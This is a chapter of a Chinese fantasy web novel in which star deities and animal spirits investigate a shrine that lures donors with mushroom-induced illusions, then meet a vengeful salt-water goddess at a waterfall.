苏灵衣感觉自己好像被骂了,但又不确定,只能低头去摸小鹿的头,还把刚才顺便在地上薅的两把草递到小鹿嘴边,草叶子在小鹿的唇上刮了刮,小鹿还是一动不动,像一尊雕塑。 巫履长叹一声:“你别吓她,我说。被消除掉的记忆,是她进去了。” 看着李寅寅一脸“我静静的看你继续编”的表情,巫履看着小鹿:“苑雪,你自己说吧。” 此时小鹿渐渐缓过神来,又化成人形,刚才慌乱之中,她的头绳断了,一头乌黑浓密的头发披散下来,衬着她无辜的眼神,就像不识人间烟火的森林精灵。 她紧张地捏着一朵花,在手里搓来搓去:“我也不知道她为什么吃那么多嘎……她明明说要介绍别人给我的,怎么,她自己就吃了那么多……” “蘑菇粉是你给她的?”李寅寅问道。 苑雪点点头:“对呀。” “你为什么想帮她毒死马导?” 苑雪连连摆手:“不是的,不是的,是她说马导很有实力,可以帮我认识更多人,如果有很多人愿意捐钱,就能保住这座庙了,我才把蘑菇粉给她的。” 听她说得糊里糊涂,李寅寅追问:“你是说,想用毒蘑菇粉迷惑人类的心智,让他们掏钱?” “那怎么行,这不就是在干坏事吗!”苑雪语气坚定,正气凛然。 “用这种蘑菇粉,可以让他们感受到仙境的快乐,自愿捐款修庙。” 李寅寅:“……这不还是诈骗吗?!” 不直接让他们掏钱,就不是骗了吗? 苑雪认真地说:“才不是呢!我们这座庙,是真的可以修仙的!人类修仙的进度很慢,需要耐心,如果不先让他们看到修炼之后的结果,他们是不愿意投入的。” 李寅寅笑道:“所以,你这蘑菇粉……是试用装?仙境一日游?” “没有一日游,大概一个小时吧。”苑雪似乎是真的不觉得自己做的有什么问题,还一板一眼地给李寅寅解释。 李寅寅摇头:“所有能让人类产生幻觉的药物,都会对人的身体产生损害,这个你知道吗?” “知道呀,所以,我才找他帮忙,他说他可以帮我把蘑菇变好嘎。”苑雪一脸无辜地歪着头,望向巫履。 李寅寅看着巫履的眼神,如同看一个诈骗幼儿园小朋友糖果的变态坏蛋。 巫履平静地接话:“确实可以。那蘑菇只是有一点催眠功效,只是让他们稍微深度睡眠片刻,避免看见一些不该看的东西。” 最后那句话,他说得坦然,李寅寅觉得好笑,什么不该看的东西,就是不让人看到他是怎么打开结界的呗。 什么仙境,就是巫履自己的小结界而已,结界这种东西,稍微有头有脸的大能都可以拥有的。 李寅寅的结界用来双方互殴和单向暴揍,妖管局的结界用来处理一些无法处理,又不适合在人类世界生活的妖。 “你这仙境一小时体验卡,都有什么?”李寅寅好奇。 巫履大方展示:“星君可以亲自一试。不知星君想要试哪一种?” “还有多种选项?”李寅寅更有兴趣了,她不怕巫履是想设计把她困在结界里,以她的能力,轻轻松松就能将他的结界打碎。 “我都想看看,可以么?” “当然可以。”巫履手中泛出淡淡金光,接着,以他为中心,金光向四面八方扩展。 “这里是无上天。”巫履的声音在耳边响起。 李寅寅身处在一座高大华丽的宫殿之中,她坐在正中间的宝座之上,面前站着几排男人,有身材高大,肌肉强健类型,也有纤长细瘦的白斩鸡型,还有几乎与女人没有区别,除了没有胸的…… 李寅寅:“……你这是无上天么?真的不是叫天上人间?” 她正在吐槽,就见一个穿着戎装的男人主动靠近,右手轻抬,扬起红色披风,旋即单膝跪下,仰望着她:“将军,许久不见,您一向可好?末将在这里等您很久了,将军还请允许末将重归麾下,末将愿再为您引开贼兵,愿将军身体康健,毕全功于一役,早日还天下太平。” 李寅寅一怔,她以女子之身在宋朝时下凡历劫,当时军中,有一个参将对她有好感,却一直没有说出口,直到与决战之时,她被青龙砍了一刀,伤重难起,接着青龙率兵围城,而援军的影子都不见,只能靠自己突围。 这个参将在一个晚上,走进李寅寅的帐中,穿上了李寅寅的铠甲,拿了她的武器,骑了她的马,带了几个死士,趁着夜色冲出城,将敌军引开许多,李寅寅才得以从另一个城门离开,不久之后,李寅寅便看见了参将的头被挂在青龙的营帐前。 李寅寅记得那天晚上,自己就是这么斜倚在床上,看着他一件一件穿上自己的衣饰,最后,他跪在自己面前,用一模一样的姿势,一模一样的表情,与自己诀别。 她下凡历劫多次,能让她记住的人不多,都是青史留名的猛人,只有这个参将,名字很常见,长相也很普通,万卷史书无姓名,却让她一直记到今天。 “可以啊,还能窥探过去。”李寅寅闭了闭眼睛,微笑道:“美人计就是应该这么用。” 那个男人的脸慢慢变化,变成了巫履的模样:“多谢星君夸奖。” 除了这种让人弥补遗憾的境界,还有可以让人体验暴君拥有的巅峰富贵权势、让人感受温馨家庭、想要多妻妾的就多妻妾,想要儿女绕膝的就儿女绕膝。 所有进入结界的人,都能在这里找到自己最想要而求而不得的。 甚至还有儿童专享版和青少年专享版,李寅寅选了青少年专享版,一进入结界,就发现自己坐在第一排,老师正在上面讲题: “……经磁场偏转恰好从D点进入电场,最后从**以与X轴正向夹角为45度的方向射出电场,这个均强电场的电场强度是多少?……我们来请一位同学回答,李寅寅。” 李寅寅愣了一下,老师就开始骂她:“上课发呆,在做什么梦呢?一天天的不知道在干什么,以为自己是公主啊,不好好学习,将来你就只能扫大街!” 话音刚落,一队穿着黑西装的男人进入教室,个个人高马大、荷枪实弹夫,老师和同学都呆住了。 为首的一个男人走向李寅寅,向她单膝下跪:“公主,陛下病重,我等奉命接您回星域掌握大局。” 接着窗外传来巨大的引擎轰鸣声,一架星际穿梭舰缓缓停在学校的操场上。 李寅寅笑道:“这还真是青少年特供版……你们连小孩子的零花钱都不放过吗?” 跪下的男人站起身,又现出了巫履的模样,老师、同学、教室、操场、穿梭舰瞬间消失,李寅寅又坐回了银杏树下石桌旁。 一旁的苏灵衣也跟着体验了一下专属于他的仙境,现在整个人沉默不语,也不知道他看到了什么,醒来后还很感动的样子。 巫履扬唇一笑:“孩子的钱当然不能要,不过,有许多孩子身上有超凡天赋,早日修仙,必可早日得道,摆脱俗世烦恼。” “既然是做好梦,为什么何玉凤跳楼了?” 苑雪苦恼地抓了抓头:“她吃得太多嘎,意识在好多个结界里快速穿梭,拉都拉不回来,我也没有办法嘎。” 巫履轻轻一叹:“她的主境界是成为世界一流的大明星,但是她的意识又会不时穿到末世丧尸境界、战争境界,她有点接受不了。” 岂止是有点受不了,是完全受不了。 她刚刚拿到千万片酬,去买了一颗二十克拉的大钻石,晚上在家拿起来欣赏,忽然大钻石变成滴血的眼球,吓得她尖叫着将钻石甩在地上。 钻石一落地,她的意识又穿回了主境界,眼睁睁地钻石落地的着力点正好与晶体解理面重合,这颗她刚花了三千多万买的大钻石碎得彻底。 好不容易接受了自己所在的世界是末世丧尸,刚抡着斧子要劈死面前的丧尸,结果丧尸忽然变成了小金人颁奖典礼的主持人,刚刚拿到手的小金人握在自己手上,还沾着主持人脑袋上红红的血和白白的脑浆。 …… 短短一小时,就让本来有野心有胆子的何玉凤被折腾的精神错乱,什么都不敢相信,濒临崩溃,只求一死解脱。 李寅寅想了想:“尸体不是你处理的?” 要是巫履处理,随便弹弹手指就解决问题,何必要找人类司机。 “对,是马导。” 马导反手给何玉凤灌了药之后,心里不踏实,就找人去看看,找的人转了一圈,在草地上看到了何玉凤的尸体。 想着自己不能惹上事的马导,当机立断就让那个人把何玉凤的尸体弄走,悄悄找个地方埋了。 那个人自己身上不干净,背着好几个案子,怎么着也不会举报马导。 事情顺利办妥后,他把后备箱的垫子烧了,还用次氯酸钠把车子里里外外洗了一遍又一遍,连鲁米诺试剂都查不出来血迹。 结果,他是千算万算也没算到,偏偏赶上有一个妖怪在查酒驾,还有几个无聊的妖怪被查完了没事还不走,非蹲在马路边看热闹。 现在问题来了,这事算谁的错? 李寅寅看着苑雪:“不管怎么说,蘑菇粉是你提供的,致幻药物肯定不能随便给人的。” 苑雪双手抓着裙角,急得脸都红了:“可是,酒不也一样嘛?喝多了也死人嘎。卖酒的也没有犯法,她自己硬要吃那么多,我也没办法嘎。” “蘑菇粉是哪里来的?”说不定能挖出一个大型非法制药窝点。 “我自己进山采的。”苑雪完全不觉得进山采蘑菇是什么罪,承认的飞快。 “然后呢,谁做成的粉?” 巫履开口:“是我,我只是把蘑菇晒干,磨成了粉,并没有额外添加任何东西,不算非法制药。” 苑雪用力点头:“就是就是,那个蘑菇,我们这边的人平时也吃嘎,就是没人会吃那么多。” “真是一个复杂的故事……”李寅寅召唤尾火虎和奎木狼,把这件事告诉他俩,是妖的问题就由尾火虎处理,是人的问题就由奎木狼处理。 奎木狼这边要纠结纠结马导到底是不是防卫过当,以及板上钉钉的故意损毁尸体。 尾火虎这边的判定出得很快,就蘑菇的毒性和主观故意来判断,苑雪和巫履两人只能算在宗教活动场所之外进行传教活动,连关都不用关,两人各自罚款三千块。 巫履从容自若,苑雪悲痛欲绝:“三千块!三千!” “我帮你付。”巫履大方地掏出手机。 苑雪抹了抹眼泪,坚定地打开他的手:“不行。” 她站起身,一口气跑到最高的主殿里,从梁上取下一个大布包,包里藏着很多很多钱。 最大面值一百块,有五张,最多的是一块、五块,还有极其罕见的分币。 她数完钱,共计七百六十一块八毛二。 连三千块的一半都没有。 苑雪紧抿着嘴,又数了一遍,还是七百六十一块八毛二。 “我现在只有这么多……能不能再等等,等存够了钱,我再给你们。”眼泪在苑雪红通通的眼眶里打转,她扁着嘴,把布包递给尾火虎。 尾火虎摇摇头,没有接:“你有一年的缴费期限,不着急。” 处理完公事的人,连茶都没喝一口,又一阵风似的回去继续上班。 古刹里又只剩下四人。 “……你怎么会有这么多零钱?”李寅寅好奇地看着那堆放在桌上像小山一样的纸币。 城市里已经很久没见过这么壮观的现金了。 苑雪抽了抽鼻子:“都是附近的人给我修庙的。” “你说这是明代的建筑,那怎么不找政府要钱呢?”李寅寅不明白。 巫履说出真相:“问过了,说要等。” “明代还不能插队吗?” 巫履指了通向主殿的那段台阶:“其实,只有这段台阶是明代的。” 其次是现在的厨房,那是清代雍正登基后重修后留下的遗物。 再次是北边的一截院墙,那是民国成立重修后留下的遗物。 最顶上的主殿,是鬼子投降那一年重修后留下的遗物。 其他的都是十年前最后一次重修的结果。 苑雪本来像这里的山民一样,从来不关心外面的事,为了修庙,她努力修炼成人,终于能走出去,听听外面的消息。 顺便趁势搞点祥瑞,让人掏钱修庙。 “原来还容易一点,现在越来越难了……”苑雪无奈,“以前随便说点什么,让他的屋子里长出点什么,就有人愿意给钱,现在的人,一定要我告诉他下一期彩票号码,或者明天必涨的股票……我要是有这本事,我还找他要钱。给我一百块钱就想换五百万,而且还是开奖后再给,哪有这么好的事。” 李寅寅笑道:“愿意给一百换五百万不错了,你看现在庙里求佛的人都是用插上买门票送的三枝香,然后磕三个头,就结束了。” “是呀,所以,巫履才说要找娱乐圈的人,他们愿意相信,愿意给钱,给得还多,也不会要那么具体的指点……” 具体的指点,就是泄露天机。 凡泄露天机者,必会受到天谴。 鳏、寡、孤、独、残、缺财、短命、无权……是谓“五弊三缺”。 人是得到天道特别偏爱的生灵,都要付出如此代价。 像苑雪这种修炼了七百多年,才勉强化形的小鹿,她根本不敢想象自己泄露天机的下场。 李寅寅充分理解她的烦恼,同时也很好奇:“你跟这庙,有什么关系?为什么这么坚定地要修它?” “这里的神仙救了我。”苑雪望向主殿,眼神里充满了虔诚。 大明洪武初年,苑雪意外吸到了从月光中流淌下的“帝流浆”,开启了灵智,她每天认真修炼,从天地日月中吸取灵气,进展缓慢,但是她不着急,帝流浆让她身体衰老速度减缓,她可以像人类那样活到百年。 平静的生活被人类的战争打破,洪武十四年,一群人追打另一群人,把他们赶进了林子里。 那么多人在林子里就要吃喝,林子虽密,动物虽多,但也经不起几十万大军要吃要喝。 苑雪一族最大的问题是对环境极其敏感,非常容易焦虑,被人一吓,就吃不下睡不着,精神衰弱,还十分怕水,被水一泡,就全身僵直,捉它们都不用陷阱,只要把它们逼到水边,让它们自己跳下去,很浅的水坑都能轻松把它们“定”住。 三天前还跟苑雪一起嚼叶子的姐姐不见了。 两天前和苑雪一起赛跑的哥哥不见了。 昨天和苑雪窝在一起想妈妈的妹妹不见了。 同族一个接一个的消失,就连没有开灵智的鹿们都感觉到了不安与惊恐,它们大批向边境逃跑,穿过界碑,进入缅甸和东南亚其他地区。 苑雪也想跑的,但是,她似乎不小心落进了人类的包围圈,林子里到处都是人类的声音,有狂欢的笑声,也有痛苦的哀嚎,她害怕极了,慌不择路,逃进了金光寺。 说是寺,其实走两步就能从东走到西,从南走到北,屋里就一张桌子和一个无头的神像。 但是苑雪已经别无选择,周围人类越来越近,近到可以闻到他们身上的血腥味。 她一头钻到桌子底下。 脚步声快速逼近,有人从外面进来了,他手中握长刀,刀上有血,腰间还挂着几只小动物的尸体,他看见苑雪,露出笑容。 苑雪抬头看着他,心中充满绝望。 那个人蹲下来,看着她,并且伸出手,忽然,外面传来人的惊呼、惨叫和纷乱的脚步声,那个人当即转身跑了出去。 之后,又有两个服饰完全不同的人进来,一个人说:“呀,兔子!” 另一个人说:“笨蛋,是鹿。” 说她是兔子的人也想伸手拎她,被另一个人制止了:“刚才段氏残兵路过都没有伤到它,说不定,它是这个神的眷属,不能伤它。” “哥,你以前不是不信神佛的么?” 那个人从口袋里掏出一个无花果摆在苑雪面前:“嗯,平时不信,必要的时候都信,神佛能得道,必然宽宏大量,不会跟我一介凡夫俗子计较。” 说完,他双手合什,对着无头神像和苑雪拜了三拜:“保佑我们打胜仗,平安回家。” 另一个人也出去摘了两把刺桐花,放在苑雪面前,发出同样的誓愿。 “巫履说,因为有两人对着我许愿,又给我贡了东西,结成因果,所以,我得道的速度比原本的速度要快好多……这里是我的福地,我想要更多的人向我许愿,结成更多的因果。” 苑雪语气坚定,充满对未来的期待。 苏灵衣问道:“那后来这两个人的心愿实现了吗?” “呃……”苑雪抿着嘴,眨了半天眼睛,“算实现了吧。” 南京应天府,大坝柳树湾。为讨米汤吃,充军到云南。 那些来自南京的军士,赢了战争,但是却被留下驻跸于此,从此再也没有回过南京。 苑雪理直气壮,反正,家已经搬到云南了,留在云南,怎么不算平安回家呢? 第65章 盐水女神 “现在这么多人想长生不老,想修仙,什么当都愿意上,我这庙是真的很灵嘎,可是光我一个人说没有用,只能用这种办法。” 李寅寅摇头:“巫履都成功打入娱乐圈了,让他用嘴说就行了,根本不用幻境啊。” “那谁会信嘎,眼前为实,耳听为虚,就算是诈骗,也得先让人看见嘎。”苑雪才不会有人听两句逼逼就愿意掏钱。 “谁说的,能看得见,说明仙缘深厚,有望升仙。看不见,说明天性鲁钝,没戏。为了证明自己聪慧过人,就算屋里有风,他们都会说这是屋内有仙灵。” 苑雪困惑万分:“这也行?他们真的会认为是仙灵,而不是窗户没关好?” “是的,他们就是这么的虔诚。” 苑雪看着李寅寅的眼神,充满景仰,坐在她身旁的巫履轻咳一声:“其实,我已经在这么做了。” “诶?那你怎么没有告诉我?” 巫履温柔地看着她:“因为我不知道能不能成功,所以,先没有说,万一没有,那不是让你白白期待一场。” 好像也有道理。 “噢。”苑雪又低头削水果。 门外传来脚步声,有三个人走进院门。 其中一个,李寅寅见过,但是叫不上名字,演过很多片子的男配,或是连配角都算不上的路人甲。 他演的片子都没有什么名气,但是里面的某些片段总是特别出圈,去看吐槽视频、搞笑视频,十个有九个都用了他的脸。 站在他左边的男人,左手拎着包,右手打着伞,伞是遮在那个演员头上的,应该是演员的助理。 站在右边的男人,大概有六十多岁,穿着暗蓝色的对襟唐装,手腕戴串,神态气质都有那么一些“端”,当然,也称之为“宝相庄严”也没什么太大的问题。 李寅寅觉得此人与巫履有一种莫名的相似感,不由得转脸看了一眼巫履。 正对上苏灵衣的脸,他也在偷偷看巫履。 两人相视一笑,又收起笑容,各自把脸转回去。 那个演员见了巫履,急步上前,伸出双手:“宝言老师,您好您好,我是小佑。” 巫履敛眉低首,双手合什,对着他欠了欠身,小佑这才急急忙忙地把手缩了回去,也跟着双手合什,鞠了一躬。 小佑向巫履介绍道:“宝言老师,这是姜真人,我大师兄。” 姜真人双手握于胸前,行了一个道教礼仪:“听小佑师弟说,此地灵气充沛,有大机缘,所以,我跟着小佑师弟,不请自来,还请宝言老师不要见怪。” “哪里,来者便是客,请坐。”巫履做了一个请的手势。 苏灵衣愣了一下,一共就四个石凳,请他们三人坐下?坐哪? 苑雪笑嘻嘻地看着李寅寅:“姐姐,你们都没有到上面的主殿去看过呢,我带你们上去看看。” “好呀。”李寅寅便跟着苑雪起身,还笑着对巫履说:“你们慢慢聊,我们四处看看。” 通向主殿的石梯很高,爬了半截,苏灵衣忍不住回头看了一眼,想瞧瞧巫履在跟他们扯什么,巫履似乎感觉到了,他有意无意地抬头看了一眼他们。 李寅寅低声:“别看了,想想你那个看了一眼牦牛的同族!” “……” 苏灵衣脚步轻,比薛姗都要轻,时常无声无息的出现在薛姗和黄少芸身后,跟她们一起看偶像言情剧,看到想吐槽的地方会突然出声,吓两人一跳。但是苏灵衣本人不觉得自己是突然飘来的,他认为自己的脚步声很响了。 薛姗也不多说废话,下了一个视频,专门把苏灵衣叫来学习: 在青藏高原上,一只藏狐突然从草堆里探出身子,呆呆地望着牦牛群。 牦牛看着它,它也不躲。 忽然,一头牦牛就向它狂奔而来,把它踩死了。 牦牛还不解恨,又冲了一回,把它踩扁了,接着又冲了 第3回,把它踩到泥地里,铲都铲不起来。 视频结束,薛姗舔舔爪子,冲他晃了晃爪子上的指甲:“你要是再这么突然冒出来,我就叫洪大牛来踩死你。” 苏灵衣语气坚定:“你不会眼睁睁地看着我被踩死的。” 李寅寅声音温柔:“对,我善,见不得血,我会把眼睛闭起来。” “你们快上来呀,到啦!”苑雪在庙门前蹦蹦跳跳向他们挥手。 上面那座庙的规模比最早的那座山神庙大多了,从原来进门走两步就撞到墙,现在已经变成了一座豪宅,看起来大概有二十平方米那么大! “嗬,阔了啊。” 李寅寅打量着殿内的一切:地上铺着水泥,已经裂了几条缝。 供桌上供着的还是一尊无头神像。 那座神像的衣纹都已经磨损的看不清了。 “供无头神像不好吧?”李寅寅说,“信众都不知道自己拜的是谁,怎么愿意掏钱呢?” 苑雪十分无辜:“可是,我认识它的时候,它就是这样嘎,我本来也想给他配上头,可是,换了十几个,它都不满意,白白浪费钱。” “你怎么知道它不满意?它来找你了?” “嗯,他晚上托梦给我嘎。” 在房间里的一角还有一个小背篓,李寅寅看着背篓:“这是……神像自己背着砖头给自己修房子?” “啊,不是的,这是我的,刚才背贡果上来,顺手放在这。” 这只小背篓很有意思,李寅寅把它拎起来,发现底下有一个破洞:“都坏了,该换啦。” “嗯,我已经采了竹子,一会儿重编一个。”苑雪看着背篓,愤愤道:“还说他们的茶叶好,害我背了那么远,结果根本卖不掉嘛!还把背篓弄坏了,骗子。” 李寅寅好奇:“哪儿的?是勐海吗?” “不是嘎,要是勐海的怎么都能卖上价,哼……不过还是比我卖大树花要赚得多一点。捡半天才能捡到几块,晒干了就一坨坨,四大块才能卖十块钱……” 苑雪这只妖,实在是混得太惨了,她跟人类唯一不同之处,就是她还有另一个形象。 别的什么妖术、法术统统没有,保命手段还是妈生技能:跑。 为了修缮这座庙,她除了神预言从别人手里讨点祥瑞钱,就是进山里采摘山货拿到集市上卖,山货在山下集市根本卖不上价,小小的丑苹果,跟果园里又大又红的大苹果放在一起,实在是没有卖相。 早上四点背着一篓子山货出门,下午三点背着半篓子山货回来,手里就多了二十多块钱,只够买得起几块砖,连一大包水泥都买不起,更别提什么黄沙、钢筋、片石了。 不过苑雪对未来倒是充满希望:“宝言来了以后,他出去从有钱人那里化缘,钱就多了好多!再攒几年,东边也能修起来了!那边以前有一个大官住过嘎!” 东边? 李寅寅记得东边确实好像有那么一个屋子……也不能叫屋子,只有半边屋顶。 墙也是破,从墙洞往里看,里面只剩下一片青青荒草地,与南京明故宫草地唯一的区别就是它的草长得比较高。 “哪个大官?” 苑雪骄傲一抬头:“朱由榔!他逃亡的时候住过!” 中国三大美食宣传路线:乾隆下江南、慈禧蹿西安、永历奔缅甸。 第三位虽然不如前两位对中国美食源流贡献那么大,但是腾冲人民还是很感谢他的,让一个普普通通的炒饵块,变成了“大救驾”,名头一下子就响亮了起来。 苑雪双眼里亮亮的闪着光:“既然大救驾能被永历帝抬起来,那么一定会有游客为了探访永历遗踪,不远万里到这里来,并且花钱,然后,我就有钱修房子嘎! 一个人收十块,十个人就是一百,一万个人不就是一百万了吗!要是每个月来一万人,嘿嘿……我就把瓦片也换掉,那边都漏雨了,还有给石阶装护栏……” 苑雪已经在心里规划好几个方案,怎么花这笔钱。 看着她充满期待的眼神,李寅寅和苏灵衣对视一眼,都不忍心打破她美好的梦境。 李寅寅一边听苑雪说话,一边分神听银杏树下的人在说什么。 那个姜真人是小佑之前拜的师父,有些真神通,给小佑说了一些事都非常准,小佑把自己赚到的钱大半都供奉给了他,希望这笔投入能让自己得到更多的机会。 他因为总是被人做成搞笑视频里的填充物而在全国流行,也经常有导演看中他,让他继续扮演同类型的角色,他想演主角,哪怕是个能掀桌的男二呢。 结果,姜真人说他的命数就到此为止,强求不来。 是宝言老师突然出现,说可以施法帮他改命,让他演男主角。 他把自己手上全部积蓄五十万给了宝言老师,做法七七四十九天之后的当天下午,他就接到了一个导演的电话,说觉得他的气质外形都很不错,想邀请他来做自己片子的男主角。 他高兴坏了。 不过,到深度接触后他才知道,原来是短剧的男主角……即不是网剧,更不是上星。 短剧自己能不能被广大观众看到都得看平台算法,一百部里能有一部数据爆了都是意外,短剧演员的片酬也很低。 七百块钱一天,一部短剧一天拍十几个小时,七天就能拍完,最终获得收入四千九百块,由于他没有开工作室,甚至还得按个人劳务收入交20%的税,拿到手3920块。 收入甚至不如他在一部上星剧里演过的男八。 但是…… 抛开这剧的性质不谈,就问这是不是男主角!!! 而且,短剧怎么了?!当初海南周易,那么大的公司,出的片子,个个叫座。 那又怎么样,他们家的三顶流之一,现在不也在拍短剧!最多他的片酬比自己高一点,两三万一天。 小佑觉得是自己没说清楚,或者说,是给的钱还不够多,五十万只能买来短剧的男主角,要是再多一点,是不是就能是网剧的了?如果更多呢?是不是能买到上星剧的男主角? 所以他到处借钱,想请宝言老师帮帮忙,最好保佑他一定能接到一个大爆剧的男主角。 这才惊动了姜真人,认定他是被装神弄鬼的江湖骗子给骗了,跟了来,想看看这个宝言老师到底是何方神圣。 巫履刚才跟他小小的斗了个法,开明六巫个个有本事有脾气,从来不知道什么叫谦虚,巫履一点都没留手,完全的碾压姜真人。 姜真人带着怀疑和挑刺的心来,已经完全被巫履折服,刚开始叫“宝言老师”带着傲慢,现在叫“宝言老师”充满了谦卑。 小佑还是最低的凡人诉求,简单明了的只想求财。 姜真人除了财之外,还想求成正果、得大道、羽化飞升。 天色渐晚,巫履留小佑和姜真人晚上住下,秉烛夜谈。 这个姜真人在圈子里相当有名,给他送钱的人不少,给房地产老板看一下项目选址,就能进账几百万,帮某大佬看父母的墓穴得到的更多。 李寅寅觉得,巫履要是不能从姜真人手里搞到一千万,就是巫履脑子被门夹过了。 此地人类活动不多,灵气相当充足,李寅寅听见隔壁有响动,紧接着,是两只小动物蹦蹦跳跳的脚步声,出门去了。 这会儿巫履的忽悠大会已经落幕,没八卦听了,李寅寅便跟着苏灵衣和苑雪的脚步出门,她远远地看着这两只小动物身上都挎着一个鼓鼓囊囊的小布袋,不知道里面装着什么。 前方的龙乃村隔壁就是缅甸,跨一脚就到了,普通游客会到这里卡卡拍照。 不过那两头小动物却拐了个弯,顺着小路蹿进了山里,离城市很远的一个山凹里,有一个小村子,房屋风格就比原始稍微强那么一点点。 这里靠近边境,有巡逻的边防士兵,半夜三更有野兽路过,他们未必会管,但如果是个人往山里拱,他们肯定得把人拦下来盘问祖宗十八代。 为避免生出事端,李寅寅化为原形,跟在藏狐和小鹿后面,想看看他们背着自己找了什么好地方玩。 村里的人都睡下了,苑雪一蹦一跳的在前面带路,在村子后面的山崖停下了:“到啦!” 山崖旁有一条飞瀑,明月当空,清冷月光照在瀑布上,像一条银练,十分漂亮,瀑布落入的水潭旁有一个石头,看起来像一个身姿窈窕的美女坐在那里,看着远处的山头。 石头的头上有一个半枯不枯的花环,身上披着用草叶编成的蓑衣。 “履说,这是女神,拜一拜她,会有招人喜欢嘎!”苑雪从口袋里掏出几颗无花果,恭恭敬敬的拜了三拜。 苏灵衣从随身的小包里掏出一大块白色的盐晶,又拿出一块硬币,两只爪子合在一处:“求女神指点,我喜欢的人是不是也喜欢我。是就是字,不是就是花。” 他闭上眼睛,把硬币对天空一抛,硬币旋转落地,在地上滚了一小段路,在石窝里停下。 苏灵衣赶着过去,捡起硬币,看他的表情,对结果非常不满意。 他拿起硬币,又跑回石头前面,把硬币放到女神面前:“这一面叫字……” 他又把硬币翻过来:“这一面叫花……不要再搞错啦!” “……好,再来一次……求女神指点,我喜欢的人是不是也喜欢我。是就是字,不是就是花。” 硬币再次飞上天空,又落了下来,看苏灵衣的表情,应该是得偿所愿了。 但是,旁边的苑雪说:“一次成,一次不成,这到底是成还是不成啊?要不,你再问一次呢?” 同样的操作又出现一回,这次,硬币卡在了石缝里,立着的。 “呀,女神生气了,”苑雪忙向石头俯下身子,“不气不气,他就是想确定一下……女神千万别生气呀,他是外地来的,是客人嘎。” 蹲在半高山崖上看热闹的李寅寅露出谜之微笑,哦哟,苏灵衣这小子春心动了啊。 肯定是看上薛姗了,两人整天打打闹闹,但是冯墨跟薛姗打闹的时候,他就拦着不让冯墨太过份,每次找的理由还都是:“打坏了东西,星君要生气的。” 哼,还拿我做挡箭牌,真没种!有本事自己A上去啊! 他是狐狸,薛姗是猫,要是有后代,那就是狸猫~合适!是一个跟太子等价交换的高贵身份。 李寅寅替他俩的孩子想了好几个名字以后,忽然想起:等等,薛姗好像对冯墨的兴趣更大,毕竟一起生活了百年,青梅竹马啊。 不过这年头,竹马系打不过天降系,苏灵衣还是有机会的。 这边李寅寅还在东想西想,那边苏灵衣又开始跃跃欲试,由于第三次扔的依旧没有结果,苏灵衣打算仗着“外地人”的身份,再扔一次。 苑雪拦着他不让,苏灵衣不甘不愿,围着石头转圈:“女神女神,真的不行吗?要是真的不行,就下雨让我知道……” 天空,月明星稀,一丝丝云彩都没有。 李寅寅都看不下去了,她站起来,打算告诉苏灵衣,这种事情求什么神啊,直接找她,她可以帮着跟薛姗旁敲侧击,不比问一块石头有用吗! 她刚站起来,就看见那块石头好像也动了一下……不是石头动了,是石头里面附着的东西动了! 苏灵衣和苑雪两人还在水潭边拜月,吸取月亮精华,苏灵衣的灵力略强一点,感觉身后不对,转头看了一眼,吓得拉着苑雪跑到一边:“石……石矶娘娘!!!” 一道半透明的人影从石头里站起来,那是一个穿着兽皮,戴着兽牙项链的长发女子,她压根就没看一眼在边上瑟瑟发抖的小动物。 她抬着头,眼神凶恶地看着崖上的白虎:“是你……受死吧!!” 她举起右手,指向天空,从四面八方飞来不知道多少只鸟,原本晴朗的天空被黑压压的鸟群遮住,不见月也不见星,黑得连水潭都看不见了,只有隆隆水声。 空气急速流动,无数飞鸟发出尖厉叫声,向李寅寅的方向冲下来。 “吼!!!”一声虎啸传遍山林,遮天蔽日的飞鸟瞬间被震开,纷纷落在地上、水中。 月光再一次洒落大地,白虎站在山崖上,俯视着水边的那道灵魂。 “干嘛打我!”李寅寅恼怒。 女人冷笑一声:“你心里清楚!你这个始乱终弃,夺我子民的负心汉!!!” “啊??”李寅寅一脸茫然。 苑雪和苏灵衣蹲在一边,苑雪低声:“看不出来,她喜欢女的,还是个T。” “什么T?”苏灵衣不看百合故事。 苑雪热情科普:“就是女人喜欢女人,处于主动身份的那个。” 苏灵衣的脸色都变了:“她怎么可能喜欢女人!” “怎么不可能!性向自由!哎?你这么着急,咯是你刚才占卜的对象,就是她嘎?”苑雪的眼睛弯起,闻到一股冲天八卦味儿。 苏灵衣咬牙否认:“不是!” “不是就不是嘎,声音那么大干么丝……” 他俩吃瓜看热闹,李寅寅懵的那叫一个彻底,她化成人形:“我是女的!负什么心!” “哼,你法力高的很,想变男就变男,想变女就变女!” 李寅寅又现出本相,抬起一条腿:“这次跟法力没关系了吧!” “哼,为了躲我,你宁愿割鸡去蛋!” 李寅寅:“……那你总得告诉我,你觉得我是谁吧?总不能是白虎,就是负心汉,那你的负心汉可太多了。” “世间虽有白虎万千,但有这么强大力量的,只有你!廪君巴务相!” “……嗐,我当是谁呢,原来是他啊。”李寅寅十分苦恼,“他在天界待了一段时间,就去其他境界了。” “呵,你自己信么?” 苏灵衣悄悄问苑雪:“饼菌巴乌香是什么?” “是巴人的祖先,传说是白虎星下凡,伏羲的后人。” 李寅寅听见了大叫:“他才不是白虎星!” “噢!”苑雪缩了缩脑袋,继续对苏灵衣说:“反正,就是那个人,带着族人找新的生活地,路过盐阳,被盐阳之主盐水女神看上,睡了好久。禀君觉得盐阳地方小,不够住,就要走,盐水女神不让他走,晚上睡他,白天就带着鸟群挡路,禀君着急走,晚上把自己的绿腰带送给盐水女神,第二天,他就把身上有绿腰带的鸟射死,鸟群散了,他就带着族人走了。” 纯爱战士苏灵衣大怒:“真是个混蛋渣男。” “你说的不完全对……”盐水女神冷哼一声,盯着李寅寅的眼神,像能射出刀子。 “他愿意留在盐阳,但是他要为主,我为副,可是盐阳部落是我的部族,怎么可能让他一个外人做主,所以,他要离开,他要去一个他能做主的地方。我献上盐阳的食物、金属和我所有的爱,都不如他要夺权的心愿重要!他把我射死以后,他怕盐阳还有支持我的族人,要为我报仇,便带着愿意跟随他的人走了!哼,最后,他还想偷袭武丁!被妇好抓住,割了头颅!在鼎中煮了!” 李寅寅用力点头:“虽然你可能不信,但是妇好就是我……我怎么可能杀了我,他变成白虎,那是被我吃了啊!在人前,他就是白虎的模样,那是我第一个伥鬼。” 盐水女神又是一声冷笑:“哦?那他现在在哪里?” 李寅寅无奈:“他到底伏羲之后,伏羲来找我要人,我多多少少也要给一点的嘛,我就是这么好说话,不然也不会现在一个伥鬼都没有了。” 每一个伥鬼,都是一笔人情债和道德资本,李寅寅攒了好多。 